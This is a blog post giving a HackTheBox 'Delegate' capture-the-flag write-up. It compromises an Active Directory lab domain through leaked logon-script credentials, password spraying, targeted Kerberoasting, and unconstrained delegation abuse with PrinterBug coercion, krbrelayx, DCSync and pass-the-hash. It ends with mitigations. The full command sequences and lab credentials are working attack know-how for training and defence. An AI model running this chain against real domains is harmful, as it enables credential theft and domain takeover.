DEV Community

Cover image for HackTheBox: Delegate Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Delegate Writeup

Summary

Delegate is an Active Directory box built around a chain of AD misconfigurations rather than a single bug. Anonymous/guest SMB access leaks a logon script (users.bat) on the NETLOGON share containing a plaintext password, which turns out to be reused by a real domain user, A.Briggs. BloodHound enumeration from that foothold reveals A.Briggs has GenericWrite over another user, N.Thompson. An attempt to abuse that with Shadow Credentials (PKINIT) fails because the DC has no enrolled Certificate Authority, so the GenericWrite is instead abused via a targeted Kerberoast (writing a fake SPN onto N.Thompson, requesting a TGS, and cracking it offline) - netting N.Thompson's password and WinRM access (user flag).

N.Thompson turns out to hold SeEnableDelegationPrivilege. Combined with a non-zero MachineAccountQuota, this allows creating a new computer account, marking it as trusted for unconstrained delegation, and coercing the Domain Controller's machine account (DC1$) to authenticate to it (PrinterBug/MS-RPRN coercion via a spoofed DNS record + SPN). The DC's TGT is captured with krbrelayx, which is then used to DCSync the entire domain and recover the Administrator NTLM hash, leading to Pass-the-Hash and full domain compromise (root flag).


1. Reconnaissance

1.1 Nmap

nmap -A -Pn machine-ip -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Global Catalog
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server
5985/tcp open  http          Microsoft-HTTPAPI/2.0 (WinRM)
...
rdp-ntlm-info:
  DNS_Domain_Name: delegate.vl
  DNS_Computer_Name: DC1.delegate.vl
Enter fullscreen mode Exit fullscreen mode

Standard Domain Controller port set (Kerberos, LDAP/GC, SMB, WinRM, RDP). Confirmed the target is DC1.delegate.vl for domain delegate.vl, and added it to /etc/hosts:

echo 'machine-ip delegate.vl DC1.delegate.vl dc1.delegate.vl' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

1.2 Anonymous / Guest SMB enumeration

Null and guest sessions were both accepted:

nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u 'guest' -p ''
Enter fullscreen mode Exit fullscreen mode
[+] delegate.vl\: 
[+] delegate.vl\guest: 
Enter fullscreen mode Exit fullscreen mode

Share listing required a non-null (guest) session:

nxc smb machine-ip -u 'guest' -p '' --shares
Enter fullscreen mode Exit fullscreen mode
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL           READ            Logon server share
Enter fullscreen mode Exit fullscreen mode

1.3 User enumeration via RID brute-force

nxc smb machine-ip -u 'guest' -p '' --rid-brute
Enter fullscreen mode Exit fullscreen mode

Snipped to the relevant user SIDs:

1104: DELEGATE\A.Briggs (SidTypeUser)
1105: DELEGATE\b.Brown (SidTypeUser)
1106: DELEGATE\R.Cooper (SidTypeUser)
1107: DELEGATE\J.Roberts (SidTypeUser)
1108: DELEGATE\N.Thompson (SidTypeUser)
Enter fullscreen mode Exit fullscreen mode

Extracted into a clean list for later spraying:

nxc smb machine-ip -u 'guest' -p '' --rid-brute \
  | grep 'SidTypeUser' | awk -F'\\\\' '{print $2}' | awk '{print $1}' > user.txt
Enter fullscreen mode Exit fullscreen mode
Administrator
Guest
krbtgt
DC1$
A.Briggs
b.Brown
R.Cooper
J.Roberts
N.Thompson
Enter fullscreen mode Exit fullscreen mode

2. Initial Access

2.1 Loot from NETLOGON

The NETLOGON share is world-readable to guest and often hides logon scripts. It did here:

smbclient //delegate.vl/NETLOGON -U 'guest%'
smb: \> get users.bat
Enter fullscreen mode Exit fullscreen mode
users.bat: ASCII text, with CRLF line terminators

rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123
Enter fullscreen mode Exit fullscreen mode

A plaintext password (P4ssw0rd1#123) intended for Administrator was captured. Password reuse across accounts is common on these boxes, so it was sprayed against every enumerated user.

2.2 Password spray

kerbrute passwordspray -d delegate.vl --dc machine-ip user.txt 'P4ssw0rd1#123'
Enter fullscreen mode Exit fullscreen mode
[+] VALID LOGIN:  A.Briggs@delegate.vl:P4ssw0rd1#123
Done! Tested 9 logins (1 successes) in 1.160 seconds
Enter fullscreen mode Exit fullscreen mode

The password did not work for Administrator directly (STATUS_LOGON_FAILURE), but it did work for A.Briggs - confirmed over SMB:

nxc smb machine-ip -u A.Briggs -p 'P4ssw0rd1#123'
Enter fullscreen mode Exit fullscreen mode
[+] delegate.vl\A.Briggs:P4ssw0rd1#123
Enter fullscreen mode Exit fullscreen mode

WinRM was attempted with the same account but denied - A.Briggs is not in a group with remoting rights, so the next step was deeper AD enumeration rather than a shell.


3. Domain Enumeration - BloodHound

bloodhound-python \
  -d delegate.vl -dc dc1.delegate.vl -ns machine-ip \
  -u A.Briggs -p 'P4ssw0rd1#123' -c All --zip
Enter fullscreen mode Exit fullscreen mode
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos / 1 ous / 19 containers
INFO: Compressing output into 20260710054958_bloodhound.zip
Enter fullscreen mode Exit fullscreen mode

Loading the collection into BloodHound and pivoting on A.BRIGGS@DELEGATE.VL shows a single outbound edge:

A.Briggs --[GenericWrite]--> N.Thompson

 - A.Briggs holds GenericWrite on the user object N.Thompson, meaning A.Briggs can modify most of N.Thompson's attributes (including msDS-KeyCredentialLink for Shadow Credentials, or servicePrincipalName for a targeted Kerberoast).


4. Abusing GenericWrite on N.Thompson

4.1 Attempt 1 - Shadow Credentials (failed)

The first, usually-preferred technique for GenericWrite/WriteProperty on msDS-KeyCredentialLink is to add a Shadow Credential (a fake key pair) and authenticate via PKINIT:

bloodyad -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
  --host dc1.delegate.vl add shadowCredentials N.Thompson
Enter fullscreen mode Exit fullscreen mode
[+] KeyCredential generated ...
[-] PKINIT failed on DC machine-ip, you must find a Kerberos server with a certification authority!
kerbad.protocol.errors.KerberosError: KDC_ERR_PADATA_TYPE_NOSUPP
Enter fullscreen mode Exit fullscreen mode

certipy auth against the resulting PFX confirmed the same failure:

[-] Got error while trying to request TGT: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
Enter fullscreen mode Exit fullscreen mode

Root cause: there is no Active Directory Certificate Services (AD CS) CA on the domain, so the DC's KDC cannot process PKINIT pre-authentication at all. Shadow Credentials is a dead end here. The leftover key was cleaned up to keep the object state tidy for the next technique:

bloodyAD -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
  --host dc1.delegate.vl remove shadowCredentials N.Thompson
Enter fullscreen mode Exit fullscreen mode
[+] All keys removed
Enter fullscreen mode Exit fullscreen mode

4.2 Attempt 2 - Targeted Kerberoasting (works)

GenericWrite also allows writing a temporary SPN onto the target account. Once an SPN exists, any authenticated user can request a Kerberos service ticket (TGS) for that account and crack it offline - this is exactly what targetedKerberoast automates: add SPN → request TGS → remove SPN.

git clone https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast.py -v -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
Enter fullscreen mode Exit fullscreen mode
[VERBOSE] SPN added successfully for (N.Thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$e01d4335...[snipped]...db7dce988a
[VERBOSE] SPN removed successfully for (N.Thompson)
Enter fullscreen mode Exit fullscreen mode

The tool automatically cleaned up the SPN afterward. The hash was cracked offline with John the Ripper against rockyou.txt:

john thompson.hash --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
KALEB_2341       (?)
1g 0:00:00:03 DONE ... 0.2681g/s
Enter fullscreen mode Exit fullscreen mode

Credential: n.thompson : KALEB_2341

Validated across protocols:

nxc smb  delegate.vl -u n.thompson -p KALEB_2341
nxc ldap delegate.vl -u n.thompson -p KALEB_2341
nxc winrm delegate.vl -u n.thompson -p KALEB_2341
Enter fullscreen mode Exit fullscreen mode
SMB   [+] delegate.vl\n.thompson:KALEB_2341
LDAP  [+] delegate.vl\n.thompson:KALEB_2341
WINRM [+] delegate.vl\n.thompson:KALEB_2341 (Pwn3d!)
Enter fullscreen mode Exit fullscreen mode

4.3 Shell as N.Thompson - user flag

evil-winrm -i dc1.delegate.vl -u n.thompson -p KALEB_2341
Enter fullscreen mode Exit fullscreen mode
*Evil-WinRM* PS C:\Users\N.Thompson\Desktop> type user.txt
5aa4b081dfae1db320c24ccc34a46c7b
Enter fullscreen mode Exit fullscreen mode

5. Privilege Escalation - Unconstrained Delegation Abuse

The rest of this chain follows the unconstrained delegation abuse technique documented on HackTricks: Unconstrained Delegation - HackTricks.

5.1 Enumerate rights

whoami /all
Enter fullscreen mode Exit fullscreen mode

Key finding in the privileges list:

Privilege Name                Description                                                     State
============================= =============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation    Enabled
Enter fullscreen mode Exit fullscreen mode

SeEnableDelegationPrivilege is a highly sensitive right - normally reserved for admin tiers - that lets its holder mark accounts (including ones they create) as trusted for unconstrained delegation. Combined with the ability to add a machine account, this is a well-known path to full domain compromise.

5.2 Check MachineAccountQuota

nxc ldap dc1.delegate.vl -u A.Briggs -p P4ssw0rd1#123 -M maq
Enter fullscreen mode Exit fullscreen mode
MAQ  MachineAccountQuota: 10
Enter fullscreen mode Exit fullscreen mode

Regular users can join up to 10 computers to the domain - plenty for the attack.

5.3 Add an attacker-controlled computer account

impacket-addcomputer delegate.vl/n.thompson:KALEB_2341 \
  -computer-name 'EVIL01$' -computer-pass 'Pass123!' -dc-ip dc1.delegate.vl
Enter fullscreen mode Exit fullscreen mode
[*] Successfully added machine account EVIL01$ with password Pass123!.
Enter fullscreen mode Exit fullscreen mode

Because N.Thompson created EVIL01$, N.Thompson owns it and can freely modify its userAccountControl.

5.4 Mark the new computer as trusted for unconstrained delegation

bloodyAD -d delegate.vl -u n.thompson -p KALEB_2341 \
  --host dc1.delegate.vl add uac 'EVIL01$' -f TRUSTED_FOR_DELEGATION
Enter fullscreen mode Exit fullscreen mode
[+] ['TRUSTED_FOR_DELEGATION'] property flags added to EVIL01$'s userAccountControl
Enter fullscreen mode Exit fullscreen mode

This is the SeEnableDelegationPrivilege right being exercised: EVIL01$ is now flagged to receive and store forwardable Kerberos tickets from anything that authenticates to it - exactly what's needed to trap the DC's own TGT.

5.5 Register a hostname and SPN for the fake computer

The attack needs the Domain Controller to be coerced into authenticating over SMB to EVIL01, which means EVIL01 needs a resolvable DNS name and a cifs/ SPN for Kerberos (rather than NTLM) to be used.

python3 dnstool.py -u 'delegate.vl\EVIL01$' -p 'Pass123!' \
  --action add --record evil01.delegate.vl --type A --data 10.10.15.223 \
  -dns-ip machine-ip dc1.delegate.vl
Enter fullscreen mode Exit fullscreen mode
[+] LDAP operation completed successfully
Enter fullscreen mode Exit fullscreen mode

Adding the SMB service SPN directly failed due to validated-write restrictions on the primary SPN attribute:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
Enter fullscreen mode Exit fullscreen mode
[!] Could not modify object, the server reports a constrained violation
[!] ... Validated write only allows adding SPNs matching the hostname ...
[!] To add any SPN in the current domain, use --additional to add the SPN via msDS-AdditionalDnsHostName
Enter fullscreen mode Exit fullscreen mode

Retried using the msDS-AdditionalDnsHostName attribute instead, which succeeded:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl --additional
Enter fullscreen mode Exit fullscreen mode
[+] SPN Modified successfully
Enter fullscreen mode Exit fullscreen mode

With the hostname registered via msDS-AdditionalDnsHostName, the same command was re-run without --additional — this time it completed normally, confirming the SPN write is now accepted since the target hostname is recognized:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
Enter fullscreen mode Exit fullscreen mode
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
Enter fullscreen mode Exit fullscreen mode

5.6 Start the ticket-capturing listener

python3 krbrelayx.py --krbpass 'Pass123!' --krbsalt 'DELEGATE.VLEVIL01$' -dc-ip machine-ip
Enter fullscreen mode Exit fullscreen mode
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server / HTTP Server / DNS Server
[*] Servers started, waiting for connections
Enter fullscreen mode Exit fullscreen mode

krbrelayx impersonates EVIL01$ and waits for an incoming Kerberos-authenticated connection, from which it will extract the forwarded TGT.

5.7 Coerce the Domain Controller (PrinterBug)

nxc smb machine-ip -u n.thompson -p KALEB_2341 \
  -M coerce_plus -o LISTENER=evil01.delegate.vl METHOD=PrinterBug
Enter fullscreen mode Exit fullscreen mode
COERCE_PLUS  VULNERABLE, PrinterBug
COERCE_PLUS  Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
Enter fullscreen mode Exit fullscreen mode

This abuses the MS-RPRN print spooler RPC interface to force DC1$ to connect back to evil01.delegate.vl over SMB. Because EVIL01$ is trusted for unconstrained delegation and has a matching cifs/ SPN, DC1$ authenticates via Kerberos and forwards a copy of its own TGT.

Back on the listener:

[*] SMBD: Received connection from machine-ip
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
Enter fullscreen mode Exit fullscreen mode

The Domain Controller's own machine-account TGT is now on disk.

5.8 DCSync using the captured DC1$ ticket

export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
klist
Enter fullscreen mode Exit fullscreen mode
Default principal: DC1$@DELEGATE.VL
Valid starting       Expires              Service principal
07/10/2026 06:51:32  07/10/2026 16:19:21  krbtgt/DELEGATE.VL@DELEGATE.VL
Enter fullscreen mode Exit fullscreen mode

DC1$ is itself a Domain Controller account, so it inherits Get-Replicating-Changes-All rights - a DCSync (full NTDS dump) is now possible using the stolen ticket instead of any password:

nxc smb delegate.vl --use-kcache --ntds
Enter fullscreen mode Exit fullscreen mode

Output snipped to the accounts of interest:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ce...[snipped]...ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:...:8e5a0462f96bc85faf20378e243bc4a3:::
b.Brown:1105:...:deba71222554122c3634496a0af085a6:::
R.Cooper:1106:...:17d5f7ab7fc61d80d1b9d156f815add1:::
J.Roberts:1107:...:4ff255c7ff10d86b5b34b47adc62114f:::
N.Thompson:1108:...:4b514595c7ad3e2f7bb70e7e61ec1afe:::
DC1$:1000:...:f7caf5a3e44bac110b9551edd1ddfa3c:::
EVIL01$:4601:...:c718f548c75062ada93250db208d3178:::
[+] Dumped 10 NTDS hashes ... 8 were added to the database
Enter fullscreen mode Exit fullscreen mode

Every credential in the domain, including the Administrator NTLM hash, has been recovered.

5.9 Pass-the-Hash - root flag

evil-winrm -i dc1.delegate.vl -u Administrator -H c32198ce...[snipped]...ee93
Enter fullscreen mode Exit fullscreen mode
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
309da11961034e88db89ab88ab5f16a6
Enter fullscreen mode Exit fullscreen mode

Full domain compromise achieved.


Key Vulnerabilities

# Vulnerability Impact
1 Anonymous/Guest SMB access - null and guest sessions allowed, NETLOGON share readable Enumeration of users (RID brute force) and disclosure of a logon script
2 Plaintext credential in a logon script (users.bat on NETLOGON) Leaked password, reused by a real account (A.Briggs)
3 Password reuse Leaked "Administrator" password actually valid for A.Briggs
4 Excessive GenericWrite ACL (A.Briggs → N.Thompson) Enabled targeted Kerberoasting of N.Thompson
5 No AD CS / PKINIT support Prevented Shadow Credentials, but a targeted Kerberoast achieved the same outcome - defense-in-depth failure, not a fix
6 SeEnableDelegationPrivilege granted to a low-privileged user (N.Thompson) Allowed marking an attacker-created computer as trusted for unconstrained delegation
7 Non-zero MachineAccountQuota (default 10) Allowed an unprivileged user to join arbitrary computer accounts to the domain
8 Print Spooler / MS-RPRN coercion (PrinterBug) enabled on the DC Allowed forcing the DC to authenticate to an attacker-controlled host
9 Unconstrained delegation combined with coercion Captured the DC's own TGT, leading to DCSync and full domain compromise

Attack Chain

Anonymous/Guest SMB Access
└── RID brute force → user list
└── Read NETLOGON share → users.bat → plaintext password (P4ssw0rd1#123)
    └── Password spray → valid for A.Briggs
        └── BloodHound enumeration (as A.Briggs)
            └── GenericWrite: A.Briggs → N.Thompson
                ├── [FAILED] Shadow Credentials / PKINIT
                │      └── No CA on domain → KDC_ERR_PADATA_TYPE_NOSUPP
                └── [SUCCESS] Targeted Kerberoast
                       └── Add fake SPN on N.Thompson → request TGS
                           └── Crack offline (John/rockyou) → KALEB_2341
                               └── WinRM as N.Thompson  ── USER FLAG
                                   └── whoami /all → SeEnableDelegationPrivilege
                                       └── Check MachineAccountQuota (10)
                                           └── Add computer EVIL01$
                                               └── Set EVIL01$ TRUSTED_FOR_DELEGATION
                                                   └── Add DNS A record for evil01.delegate.vl
                                                       └── Add cifs/ SPN via msDS-AdditionalDnsHostName
                                                           └── Start krbrelayx listener (unconstrained delegation abuse)
                                                               └── Coerce DC1$ via PrinterBug
                                                                   └── Capture DC1$ TGT
                                                                       └── DCSync via kcache → full NTDS dump
                                                                           └── Administrator NTLM hash
                                                                               └── Pass-the-Hash (Evil-WinRM)  ── ROOT FLAG
Enter fullscreen mode Exit fullscreen mode

Mitigation Steps

  1. Disable anonymous/guest SMB access. Set RestrictAnonymous/RestrictAnonymousSAM and disable the Guest account so RID brute-forcing and share enumeration require valid credentials.
  2. Never store plaintext credentials in logon scripts or GPOs. Use gMSAs, credential vaults, or LAPS instead of embedded net use ... /user: passwords on NETLOGON/SYSVOL.
  3. Enforce unique passwords per account and monitor for credential reuse (e.g., with tools like DSInternals or breached-password auditing).
  4. Audit and minimize AD ACLs. Remove unnecessary GenericWrite/GenericAll/WriteDacl grants on user and computer objects; review with BloodHound regularly and alert on dangerous edges.
  5. Restrict or eliminate SeEnableDelegationPrivilege. This right should be limited to Domain Admins / Tier-0 accounts only - never assigned (directly or via group membership) to a standard user.
  6. Set ms-DS-MachineAccountQuota to 0 unless there is a specific business need for self-service domain joins, preventing unprivileged users from creating computer objects.
  7. Eliminate unconstrained delegation domain-wide. Use constrained delegation or resource-based constrained delegation (RBCD) instead; flag any computer/user object with the TRUSTED_FOR_DELEGATION UAC bit for immediate review.
  8. Disable the Print Spooler service on Domain Controllers (and ideally on servers that don't need it) to close off PrinterBug/MS-RPRN coercion.
  9. Enable SMB/LDAP signing and channel binding to blunt coercion-to-relay attack chains generally.
  10. Deploy AD CS with proper templates and monitor PKINIT usage - or, if AD CS is intentionally absent, ensure other privileged-escalation paths (delegation rights, ACLs) are equally hardened rather than relying on its absence as a control.
  11. Enable Protected Users group / Authentication Policies for high-value accounts (Domain Admins, DCs) to prevent NTLM fallback and limit ticket lifetimes, reducing the blast radius of a captured TGT.

Top comments (0)